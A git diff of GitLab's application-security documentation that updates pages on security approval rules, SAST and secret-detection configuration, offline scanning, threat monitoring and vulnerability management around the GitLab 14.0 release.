this globally by setting the CI/CD variable -`SECURE_ANALYZERS_PREFIX` to another location. Note that this affects all scanners at once. +`SECURE_ANALYZERS_PREFIX` to another location. Note that this affects all scanners at once, except +the container-scanning analyzer which uses +`registry.gitlab.com/security-products/container-scanning` as its registry. ### Use security scanning tools with Pipelines for Merge Requests @@ -182,84 +184,51 @@ By default, the vulnerability report does not show vulnerabilities of `dismissed > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9928) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.2. -Merge Request Approvals can be configured to require approval from a member of your -security team when a merge request would introduce one of the following security issues: +You can implement merge request approvals to require approval by selected users or a group when a +merge request would introduce one of the following security issues: - A security vulnerability - A software license compliance violation -The security vulnerability threshold is defined as `high`, `critical`, or `unknown` severity. The -`Vulnerability-Check` approver group must approve merge requests that contain vulnerabilities. +When the Vulnerability-Check merge request rule is enabled, additional merge request approval +is required when the latest security report in a merge request: -When GitLab can assess vulnerability severity, the rating can be one of the following: - -- `unknown` -- `low` -- `medium` -- `high` -- `critical` +- Contains a vulnerability of `high`, `critical`, or `unknown` severity that is not present in the + target branch. Note that approval is still required for dismissed vulnerabilities. +- Is not generated during pipeline execution. -The rating `unknown` indicates that the underlying scanner doesn't contain or provide a severity -rating. +An approval is optional when the security report: -### Enabling Security Approvals within a project +- Contains no new vulnerabilities when compared to the target branch. +- Contains only new vulnerabilities of `low` or `medium` severity. -To enable the `Vulnerability-Check` or `License-Check` Security Approvals, a [project approval rule](../project/merge_requests/approvals/rules.md#add-an-approval-rule) -must be created. A [security scanner job](#security-scanning-tools) must be enabled for -`Vulnerability-Check`, and a [license scanning](../compliance/license_compliance/index.md#configuration) -job must be enabled for `License-Check`. When the proper jobs aren't configured, the following -appears: +When the License-Check merge request rule is enabled, additional approval is required if a merge +request contains a denied license. For more details, see [Enabling license approvals within a project](../compliance/license_compliance/index.md#enabling-license-approvals-within-a-project). - +### Enable the Vulnerability-Check rule -If at least one security scanner is enabled, you can enable the `Vulnerability-Check` approval rule. If a license scanning job is enabled, you can enable the `License-Check` rule. +Prerequisites: - +- At least one [security scanner job](#security-scanning-tools) must be enabled. +- Maintainer or Owner [role](../permissions.md#project-members-permissions). -For this approval group, you must set the number of approvals required to greater than zero. You -must have Maintainer or Owner [permissions](../permissions.md#project-members-permissions) -to manage approval rules. +For this approval group, you must set the number of approvals required to greater than zero. Follow these steps to enable `Vulnerability-Check`: -1. Navigate to your project's **Settings > General** and expand **Merge request approvals**. -1. Click **Enable**, or **Edit**. +1. Go to your project and select **Settings > General**. +1. Expand **Merge request approvals**. +1. Select **Enable** or **Edit**. 1. Add or change the **Rule name** to `Vulnerability-Check` (case sensitive). - - +1. Set the **No. of approvals required** to greater than zero. +1. Select the **Target branch**. +1. Select the users or groups to provide approval. +1. Select **Add approval rule**. Once this group is added to your project, the approval rule is enabled for all merge requests. - Any code changes cause the approvals required to reset. -An approval is required when the latest security report in a merge request: - -- Contains a vulnerability of `high`, `critical`, or `unknown` severity that is not present in the - target branch. Note that approval is still required for dismissed vulnerabilities. -- Is not generated during pipeline execution. - -An approval is optional when the security report: - -- Contains no new vulnerabilities when compared to the target branch. -- Contains only new vulnerabilities of `low` or `medium` severity. - -### Enabling License Approvals within a project - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13067) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.3. - -`License-Check` is a [security approval rule](#enabling-security-approvals-within-a-project) -you can enable to allow an individual or group to approve a merge request that contains a `denied` -license. For instructions on enabling this rule, see -[Enabling license approvals within a project](../compliance/license_compliance/index.md#enabling-license-approvals-within-a-project). - -## Working in an offline environment - -It is possible to run most of the GitLab security scanners when not -connected to the internet, in what is sometimes known as an offline, -limited connectivity, Local Area Network (LAN), Intranet, or "air-gap" -environment. - -Read how to [operate the Secure scanners in an offline environment](offline_deployments/index.md). + ## Using private Maven repositories @@ -290,47 +259,22 @@ under your project's settings: </settings> ``` -## Outdated security reports - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4913) in GitLab 12.7. - -When a security report generated for a merge request becomes outdated, the merge request shows a warning -message in the security widget and prompts you to take an appropriate action. - -This can happen in two scenarios: - -1. Your [source branch is behind the target branch](#source-branch-is-behind-the-target-branch). -1. The [target branch security report is out of date](#target-branch-security-report-is-out-of-date). - -### Source branch is behind the target branch - -This means the most recent common ancestor commit between the target branch and the source branch is -not the most recent commit on the target branch. This is by far the most common situation. - -In this case you must rebase or merge to incorporate the changes from the target branch. - - - -### Target branch security report is out of date - -This can happen for many reasons, including failed jobs or new advisories. When the merge request shows that a -security report is out of date, you must run a new pipeline on the target branch. -You can do it quickly by following the hyperlink given to run a new pipeline. - - - ## DAST On-Demand Scans If you don’t want scans running in your normal DevOps process you can use on-demand scans instead. For more details, see [on-demand scans](dast/index.md#on-demand-scans). This feature is only available for DAST. If you run an on-demand scan against the default branch, it is reported as a "successful pipeline" and these results are included in the security dashboard and vulnerability report. ## Security report validation -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321918) in GitLab 13.11. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321918) in GitLab 13.11. +> - Schema validation message [added](https://gitlab.com/gitlab-org/gitlab/-/issues/321730) in GitLab 14.0. -As of GitLab 13.11, we've introduced the **optional** validation of the security report artifacts based on the +You can optionally enable validation of the security report artifacts based on the [report schemas](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/tree/master/dist). If you enable validation, GitLab validates the report artifacts before ingesting the vulnerabilities. -This prevents ingesting broken vulnerability data into the database. +This prevents ingestion of broken vulnerability data into the database. + +In GitLab 14.0 and later, the pipeline's **Security** tab lists any report artifacts +that failed validation. Security report validation must first be enabled. ### Enable security report validation @@ -381,14 +325,41 @@ For more details about which findings or vulnerabilities you can view in each of - Change the status. - Create an issue. - Link it to an existing issue. -- In some cases, [apply an automatic remediation for a vulnerability](vulnerabilities/index.md#remediate-a-vulnerability-automatically). +- [Resolve the vulnerability](vulnerabilities/index.md#resolve-a-vulnerability), if a solution is known. ## Troubleshooting +### Outdated security reports + +When a security report generated for a merge request becomes outdated, the merge request shows a warning +message in the security widget and prompts you to take an appropriate action. + +This can happen in two scenarios: + +- Your [source branch is behind the target branch](#source-branch-is-behind-the-target-branch). +- The [target branch security report is out of date](#target-branch-security-report-is-out-of-date). + +#### Source branch is behind the target branch + +This means the most recent common ancestor commit between the target branch and the source branch is +not the most recent commit on the target branch. This is by far the most common situation. + +In this case you must rebase or merge to incorporate the changes from the target branch. + + + +#### Target branch security report is out of date + +This can happen for many reasons, including failed jobs or new advisories. When the merge request shows that a +security report is out of date, you must run a new pipeline on the target branch. +You can do it quickly by following the hyperlink given to run a new pipeline. + + + ### Getting error message `sast job: stage parameter should be [some stage name here]` When [including](../../ci/yaml/README.md#includetemplate) a `.gitlab-ci.yml` template -like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml), +like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml), the following error may occur, depending on your GitLab CI/CD configuration: ```plaintext @@ -441,7 +412,7 @@ This provides useful information to investigate further. ### Getting error message `sast job: config key may not be used with 'rules': only/except` When [including](../../ci/yaml/README.md#includetemplate) a `.gitlab-ci.yml` template -like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml), +like [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml), the following error may occur, depending on your GitLab CI/CD configuration: ```plaintext diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md index c9c65e94b32..77a15a37c55 100644 --- a/doc/user/application_security/offline_deployments/index.md +++ b/doc/user/application_security/offline_deployments/index.md @@ -5,7 +5,7 @@ group: Static Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Offline environments +# Offline environments **(ULTIMATE SELF)** It's possible to run most of the GitLab security scanners when not connected to the internet. @@ -64,9 +64,9 @@ Once a vulnerability is found, you can interact with it. Read more on how to Please note that in some cases the reported vulnerabilities provide metadata that can contain external links exposed in the UI. These links might not be accessible within an offline environment. -### Automatic remediation for vulnerabilities +### Resolving vulnerabilities -The [automatic remediation for vulnerabilities](../vulnerabilities/index.md#remediate-a-vulnerability-automatically) feature is available for offline Dependency Scanning and Container Scanning, but may not work +The [resolving vulnerabilities](../vulnerabilities/index.md#resolve-a-vulnerability) feature is available for offline Dependency Scanning and Container Scanning, but may not work depending on your instance's configuration. We can only suggest solutions, which are generally more current versions that have been patched, when we are able to access up-to-date registry services hosting the latest versions of that dependency or image. @@ -93,8 +93,7 @@ above. You can find more information at each of the pages below: ## Loading Docker images onto your offline host -To use many GitLab features, including -[security scans](../index.md#working-in-an-offline-environment) +To use many GitLab features, including security scans and [Auto DevOps](../../../topics/autodevops/index.md), the runner must be able to fetch the relevant Docker images. @@ -129,6 +128,10 @@ This method requires a runner with access to both `gitlab.com` (including to be able to use the `docker` command inside the jobs. This runner can be installed in a DMZ or on a bastion, and used only for this specific project. +WARNING: +This template does not include updates for the container scanning analyzer. Please see +[Container scanning offline directions](../container_scanning/index.md#running-container-scanning-in-an-offline-environment). + #### Scheduling the updates By default, this project's pipeline runs only once, when the `.gitlab-ci.yml` is added to the @@ -136,12 +139,6 @@ repository. To update the GitLab security scanners and signatures, it's necessar regularly. GitLab provides a way to [schedule pipelines](../../../ci/pipelines/schedules.md). For example, you can set this up to download and store the Docker images every week. -Some images can be updated more frequently than others. For example, the [vulnerability database](https://hub.docker.com/r/arminc/clair-db/tags) -for Container Scanning is updated daily. To update this single image, create a new Scheduled -Pipeline that runs daily and set `SECURE_BINARIES_ANALYZERS` to `clair-vulnerabilities-db`. Only -this job is triggered, and the image is updated daily and made available in the project -registry. - #### Using the secure bundle created The project using the `Secure-Binaries.gitlab-ci.yml` template should now host all the required diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md index 0e69f3b68eb..661a4ee8e82 100644 --- a/doc/user/application_security/sast/analyzers.md +++ b/doc/user/application_security/sast/analyzers.md @@ -48,7 +48,7 @@ GitLab, but users can also integrate their own **custom images**. For an analyzer to be considered Generally Available, it is expected to minimally support the following features: -- [Customizable configuration](index.md#available-variables) +- [Customizable configuration](index.md#available-cicd-variables) - [Customizable rulesets](index.md#customize-rulesets) - [Scan projects](index.md#supported-languages-and-frameworks) - [Multi-project support](index.md#multi-project-support) @@ -80,27 +80,6 @@ variables: This configuration requires that your custom registry provides images for all the official analyzers. -### Selecting specific analyzers - -WARNING: -`SAST_DEFAULT_ANALYZERS` is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50872) in GitLab 13.8, -and is scheduled for [removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/290777). - -You can select the official analyzers you want to run. Here's how to enable -`bandit` and `flawfinder` while disabling all the other default ones. -In `.gitlab-ci.yml` define: - -```yaml -include: - - template: Security/SAST.gitlab-ci.yml - -variables: - SAST_DEFAULT_ANALYZERS: "bandit,flawfinder" -``` - -`bandit` runs first. When merging the reports, SAST -removes the duplicates and keeps the `bandit` entries. - ### Disabling all default analyzers Setting `SAST_DISABLED` to `true` disables all the official diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index 886726d5d67..c11e367a688 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -161,7 +161,7 @@ To configure SAST for a project you can: ### Configure SAST manually For GitLab 11.9 and later, to enable SAST you must [include](../../../ci/yaml/README.md#includetemplate) -the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml) +the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml) provided as a part of your GitLab installation. For GitLab versions earlier than 11.9, you can copy and use the job as defined that template. @@ -202,7 +202,7 @@ page: ### Customizing the SAST settings -The SAST settings can be changed through [CI/CD variables](#available-variables) +The SAST settings can be changed through [CI/CD variables](#available-cicd-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. In the following example, we include the SAST template and at the same time we @@ -239,6 +239,24 @@ spotbugs-sast: FAIL_NEVER: 1 ``` +#### Pinning to minor image version + +While our templates use `MAJOR` version pinning to always ensure the latest analyzer +versions are pulled, there are certain cases where it can be beneficial to pin +an analyzer to a specific release. To do so, override the `SAST_ANALYZER_IMAGE_TAG` CI/CD variable +in the job template directly. + +In the example below, we are pinning to a specific patch version of the `spotbugs` analyzer: + +```yaml +include: + - template: Security/SAST.gitlab-ci.yml + +spotbugs-sast: + variables: + SAST_ANALYZER_IMAGE_TAG: "2.28.1" +``` + ### Customize rulesets **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235382) in GitLab 13.5. @@ -411,7 +429,7 @@ the vendored directory. This configuration can vary per analyzer but in the case can use `MAVEN_REPO_PATH`. See [Analyzer settings](#analyzer-settings) for the complete list of available options. -### Available variables +### Available CI/CD variables SAST can be [configured](#customizing-the-sast-settings) using CI/CD variables. @@ -454,9 +472,8 @@ The following are Docker image-related CI/CD variables. | CI/CD variable | Description | |---------------------------|---------------------------------------------------------------------------------------------------------------------------------------| | `SECURE_ANALYZERS_PREFIX` | Override the name of the Docker registry providing the default images (proxy). Read more about [customizing analyzers](analyzers.md). | -| `SAST_ANALYZER_IMAGE_TAG` | **DEPRECATED:** Override the Docker tag of the default images. Read more about [customizing analyzers](analyzers.md). | -| `SAST_DEFAULT_ANALYZERS` | **DEPRECATED:** Override the names of default images. Scheduled for [removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/290777). | | `SAST_EXCLUDED_ANALYZERS` | Names of default images that should never run. Read more about [customizing analyzers](analyzers.md). | +| `SAST_ANALYZER_IMAGE_TAG` | Override the default version of analyzer image. Read more about [pinning the analyzer image version](#pinning-to-minor-image-version). | #### Vulnerability filters @@ -492,9 +509,10 @@ Some analyzers can be customized with CI/CD variables. | `MAVEN_REPO_PATH` | SpotBugs | Path to the Maven local repository (shortcut for the `maven.repo.local` property). | | `SBT_PATH` | SpotBugs | Path to the `sbt` executable. | | `FAIL_NEVER` | SpotBugs | Set to `1` to ignore compilation failure. | -| `SAST_GOSEC_CONFIG` | Gosec | Path to configuration for Gosec (optional). | +| `SAST_GOSEC_CONFIG` | Gosec | **{warning}** **[Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/328301)** in GitLab 14.0 - use custom rulesets instead. Path to configuration for Gosec (optional). | | `PHPCS_SECURITY_AUDIT_PHP_EXTENSIONS` | phpcs-security-audit | Comma separated list of additional PHP Extensions. | -| `SAST_DISABLE_BABEL` | NodeJsScan | Disable Babel processing for the NodeJsScan scanner. Set to `true` to disable Babel processing. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33065) in GitLab 13.2. | +| `SAST_DISABLE_BABEL` | NodeJsScan | Disable Babel processing for the NodeJsScan scanner. Set to `true` to disable Babel processing. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33065) in GitLab 13.2. +| `SAST_SEMGREP_METRICS` | Semgrep | Set to `"false"` to disable sending anonymized scan metrics to [r2c](https://r2c.dev/). Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330565) in GitLab 14.0. | #### Custom CI/CD variables @@ -772,3 +790,7 @@ For Maven builds, add the following to your `pom.xml` file: ### Flawfinder encoding error This occurs when Flawfinder encounters an invalid UTF-8 character. To fix this, convert all source code in your project to UTF-8 character encoding. This can be done with [`cvt2utf`](https://github.com/x1angli/cvt2utf) or [`iconv`](https://www.gnu.org/software/libiconv/documentation/libiconv-1.13/iconv.1.html) either over the entire project or per job using the [`before_script`](../../../ci/yaml/README.md#before_script) feature. + +### Semgrep slowness, unexpected results, or other errors + +If Semgrep is slow, reports too many false positives or false negatives, crashes, fails, or is otherwise broken, see the Semgrep docs for [troubleshooting GitLab SAST](https://semgrep.dev/docs/troubleshooting/gitlab-sast/). diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md index 02d117b1c0a..f4aa9dc2787 100644 --- a/doc/user/application_security/secret_detection/index.md +++ b/doc/user/application_security/secret_detection/index.md @@ -62,6 +62,9 @@ The [default ruleset provided by Gitleaks](https://gitlab.com/gitlab-org/securit - Password in URL - U.S. Social Security Number +WARNING: +Gitleaks does not support scanning binary files. + ## Requirements To run Secret Detection jobs, by default, you need GitLab Runner with the @@ -97,7 +100,8 @@ as shown in the following table: ## Configuration -> GitLab 13.1 splits Secret Detection from the [SAST configuration](../sast#configuration) into its own CI/CD template. If you're using GitLab 13.0 or earlier and SAST is enabled, then Secret Detection is already enabled. +> - In GitLab 13.1, Secret Detection was split from the [SAST configuration](../sast#configuration) into its own CI/CD template. If you're using GitLab 13.0 or earlier and SAST is enabled, then Secret Detection is already enabled. +> - [In GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/297269), Secret Detection jobs `secret_detection_default_branch` and `secret_detection` were consolidated into one job, `secret_detection`. Secret Detection is performed by a [specific analyzer](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml) during the `secret-detection` job. It runs regardless of your app's programming language. @@ -160,7 +164,7 @@ that you can review and merge to complete the configuration. ### Customizing settings -The Secret Detection scan settings can be changed through [CI/CD variables](#available-variables) +The Secret Detection scan settings can be changed through [CI/CD variables](#available-cicd-variables) by using the [`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`. @@ -174,7 +178,7 @@ is no longer supported. When overriding the template, you must use [`rules`](../ #### GIT_DEPTH -The [`GIT_DEPTH` CI/CD variable](../../../ci/runners/README.md#shallow-cloning) affects Secret Detection. +The [`GIT_DEPTH` CI/CD variable](../../../ci/runners/configure_runners.md#shallow-cloning) affects Secret Detection. The Secret Detection analyzer relies on generating patches between commits to scan content for secrets. If you override the default, ensure the value is greater than 1. If the number of commits in an MR is greater than the GIT_DEPTH value, Secret Detection will [fail to detect secrets](#error-couldnt-run-the-gitleaks-command-exit-status-2). @@ -196,7 +200,7 @@ secret_detection: Because the template is [evaluated before](../../../ci/yaml/README.md#include) the pipeline configuration, the last mention of the variable takes precedence. -#### Available variables +#### Available CI/CD variables Secret Detection can be customized by defining available CI/CD variables: @@ -298,7 +302,7 @@ want to perform a full secret scan. Running a secret scan on the full history ca especially for larger repositories with lengthy Git histories. We recommend not setting this CI/CD variable as part of your normal job definition. -A new configuration variable ([`SECRET_DETECTION_HISTORIC_SCAN`](#available-variables)) +A new configuration variable ([`SECRET_DETECTION_HISTORIC_SCAN`](#available-cicd-variables)) can be set to change the behavior of the GitLab Secret Detection scan to run on the entire Git history of a repository. We have created a [short video walkthrough](https://youtu.be/wDtc_K00Y0A) showcasing how you can perform a full history secret scan. @@ -396,7 +400,7 @@ ERRO[2020-11-18T18:05:52Z] object not found [ERRO] [secrets] [2020-11-18T18:05:52Z] ▶ Gitleaks analysis failed: exit status 2 ``` -To resolve the issue, set the [`GIT_DEPTH` CI/CD variable](../../../ci/runners/README.md#shallow-cloning) +To resolve the issue, set the [`GIT_DEPTH` CI/CD variable](../../../ci/runners/configure_runners.md#shallow-cloning) to a higher value. To apply this only to the Secret Detection job, the following can be added to your `.gitlab-ci.yml` file: diff --git a/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png b/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png Binary files differindex 74592e2cea5..6578c0bf4cf 100644 --- a/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png +++ b/doc/user/application_security/security_dashboard/img/security_center_settings_v13_4.png diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md index f0b3d895df5..01de066367c 100644 --- a/doc/user/application_security/security_dashboard/index.md +++ b/doc/user/application_security/security_dashboard/index.md @@ -150,8 +150,7 @@ the following:  -To view the Security Center, from the navigation bar at the top of the page, select -**More > Security**. +To view the Security Center, on the top bar, select **Menu > Security**. ### Adding projects to the Security Center diff --git a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md index 1316f1b9644..ce30accfb4d 100644 --- a/doc/user/application_security/terminology/index.md +++ b/doc/user/application_security/terminology/index.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Secure and Protect terminology +# Secure and Protect terminology **(FREE)** This terminology list for GitLab Secure and Protect aims to: @@ -101,7 +101,7 @@ of the finding's [first identifier](https://gitlab.com/gitlab-org/security-produ combine to create the value. Examples of primary identifiers include `PluginID` for OWASP Zed Attack Proxy (ZAP), or `CVE` for -Klar. Note that the identifier must be stable. Subsequent scans must return the same value for the +Trivy. Note that the identifier must be stable. Subsequent scans must return the same value for the same finding, even if the location has slightly changed. ### Report finding @@ -122,7 +122,7 @@ The type of scan. This must be one of the following: ### Scanner Software that can scan for vulnerabilities. The resulting scan report is typically not in the -[Secure report format](#secure-report-format). Examples include ESLint, Klar, and ZAP. +[Secure report format](#secure-report-format). Examples include ESLint, Trivy, and ZAP. ### Secure product diff --git a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png Binary files differindex 1f02fd30f8e..e165c7e6ceb 100644 --- a/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png +++ b/doc/user/application_security/threat_monitoring/img/threat_monitoring_policy_alert_list_v13_12.png diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md index 825bc64d52b..e1200c60419 100644 --- a/doc/user/application_security/threat_monitoring/index.md +++ b/doc/user/application_security/threat_monitoring/index.md @@ -16,34 +16,8 @@ Monitoring** page. GitLab supports statistics for the following security features: -- [Web Application Firewall](../../clusters/applications.md#web-application-firewall-modsecurity) - [Container Network Policies](../../../topics/autodevops/stages.md#network-policy) -## Web Application Firewall - -The Web Application Firewall section provides metrics for the NGINX -Ingress controller and ModSecurity firewall. This section has the -following prerequisites: - -- Project has to have at least one [environment](../../../ci/environments/index.md). -- [Web Application Firewall](../../clusters/applications.md#web-application-firewall-modsecurity) has to be enabled. -- [Elastic Stack](../../clusters/applications.md#web-application-firewall-modsecurity) has to be installed. - -If you are using custom Helm values for the Elastic Stack you have to -configure Filebeat similarly to the [vendored values](https://gitlab.com/gitlab-org/gitlab/-/blob/f610a080b1ccc106270f588a50cb3c07c08bdd5a/vendor/elastic_stack/values.yaml). - -The **Web Application Firewall** section displays the following information -about your Ingress traffic: - -- The total amount of requests to your application -- The proportion of traffic that is considered anomalous according to - the configured rules -- The request breakdown graph for the selected time interval - -If a significant percentage of traffic is anomalous, you should -investigate it for potential threats by -[examining the Web Application Firewall logs](../../clusters/applications.md#web-application-firewall-modsecurity). - ## Container Network Policy > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32365) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. @@ -88,7 +62,7 @@ investigate it for potential threats by The **Threat Monitoring** page's **Policy** tab displays deployed network policies for all available environments. You can check a -network policy's `yaml` manifest, toggle the policy's enforcement +network policy's `yaml` manifest, its enforcement status, and create and edit deployed policies. This section has the following prerequisites: @@ -97,8 +71,7 @@ following prerequisites: Network policies are fetched directly from the selected environment's deployment platform. Changes performed outside of this tab are -reflected upon refresh. Enforcement status changes are deployed -directly to a deployment namespace of the selected environment. +reflected upon refresh. By default, the network policy list contains predefined policies in a disabled state. Once enabled, a predefined policy deploys to the @@ -115,8 +88,9 @@ users must make changes by following the To change a network policy's enforcement status: - Click the network policy you want to update. -- Click the **Enforcement status** toggle to update the selected policy. -- Click the **Apply changes** button to deploy network policy changes. +- Click the **Edit policy** button. +- Click the **Policy status** toggle to update the selected policy. +- Click the **Save changes** button to deploy network policy changes. Disabled network policies have the `network-policy.gitlab.com/disabled_by: gitlab` selector inside the `podSelector` block. This narrows the scope of such a policy and as a result it doesn't affect @@ -165,7 +139,8 @@ button at the bottom of the editor. ### Configuring Network Policy Alerts -> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) and [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/287676) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9. +> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) and [enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/287676) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9. +> - The feature flag was removed and the Threat Monitoring Alerts Project was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/287676) in GitLab 14.0. You can use policy alerts to track your policy's impact. Alerts are only available if you've [installed](../../clusters/agent/repository.md) @@ -186,25 +161,6 @@ There are two ways to create policy alerts: Once added, the UI updates and displays a warning about the dangers of too many alerts. -#### Enable or disable Policy Alerts **(ULTIMATE)** - -Policy Alerts is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:threat_monitoring_alerts) -``` - -To disable it: - -```ruby -Feature.disable(:threat_monitoring_alerts) -``` - ### Container Network Policy Alert list > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3438) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.9. diff --git a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_dropdown_v13_1.png b/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_dropdown_v13_1.png Binary files differdeleted file mode 100644 index 05ca74c3d5c..00000000000 --- a/doc/user/application_security/vulnerabilities/img/vulnerability_page_merge_request_button_dropdown_v13_1.png +++ /dev/null diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index 965b856504d..9866709bacc 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -9,44 +9,47 @@ info: To determine the technical writer assigned to the Stage/Group associated w > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13561) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.0. -Each security vulnerability in a project's [Vulnerability Report](../vulnerability_report/index.md) has an individual page which includes: +Each vulnerability in a project has a Vulnerability Page. This page contains details of the +vulnerability. The details included vary according to the type of vulnerability. Details of each +vulnerability include: -- Details of the vulnerability. -- The status of the vulnerability in the project. -- Available actions for the vulnerability. -- Any issues related to the vulnerability. +- Description +- When it was detected +- Current status +- Available actions +- Linked issues +- Actions log On the vulnerability's page, you can: - [Change the vulnerability's status](#change-vulnerability-status). - [Create an issue](#create-an-issue-for-a-vulnerability). -- [Link issues to the vulnerability](#link-gitlab-issues-to-the-vulnerability). -- [Remediate a vulnerability automatically](#remediate-a-vulnerability-automatically), if an - automatic solution is available. -- [Remediate a vulnerability manually](#remediate-a-vulnerability-manually), if a solution is +- [Link issues to the vulnerability](#linked-issues). +- [Resolve a vulnerability](#resolve-a-vulnerability), if a solution is available. -## Change vulnerability status +## Vulnerability status values + +A vulnerability's status can be one of the following: -You can change the status of a vulnerability using the **Status** dropdown to one of -the following values: +| Status | Description | +|:----------|:------------| +| Detected | The default state for a newly discovered vulnerability. | +| Confirmed | A user has seen this vulnerability and confirmed it to be accurate. | +| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved. | +| Resolved | The vulnerability has been fixed and is no longer valid. | -| Status | Description | -|-----------|----------------------------------------------------------------------------------------------------------------| -| Detected | The default state for a newly discovered vulnerability | -| Confirmed | A user has seen this vulnerability and confirmed it to be accurate | -| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved | -| Resolved | The vulnerability has been fixed and is no longer valid | +## Change vulnerability status -A timeline shows you when the vulnerability status has changed -and allows you to comment on a change. +To change a vulnerability's status, select a new value from the **Status** dropdown then select +**Change status**. Optionally, add a comment to the log entry at the bottom of the page. ## Create an issue for a vulnerability From a vulnerability's page you can create an issue to track all action taken to resolve or mitigate it. -From a vulnerability you can create either: +You can create either: - [A GitLab issue](#create-a-gitlab-issue-for-a-vulnerability) (default). - [A Jira issue](#create-a-jira-issue-for-a-vulnerability). @@ -68,14 +71,7 @@ The issue is then opened so you can take further action. ### Create a Jira issue for a vulnerability > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4677) in GitLab 13.9. -> - It's [deployed behind a feature flag](../../../user/feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to -> [disable it](#enable-or-disable-jira-integration-for-vulnerabilities). - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/283850) in GitLab 13.12. Prerequisites: @@ -92,54 +88,47 @@ To create a Jira issue for a vulnerability: The Jira issue is created and opened in a new browser tab. The **Summary** and **Description** fields are pre-populated from the vulnerability's details. -### Enable or disable Jira integration for vulnerabilities **(ULTIMATE SELF)** - -The option to create a Jira issue for a vulnerability is under development but ready for production -use. It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the 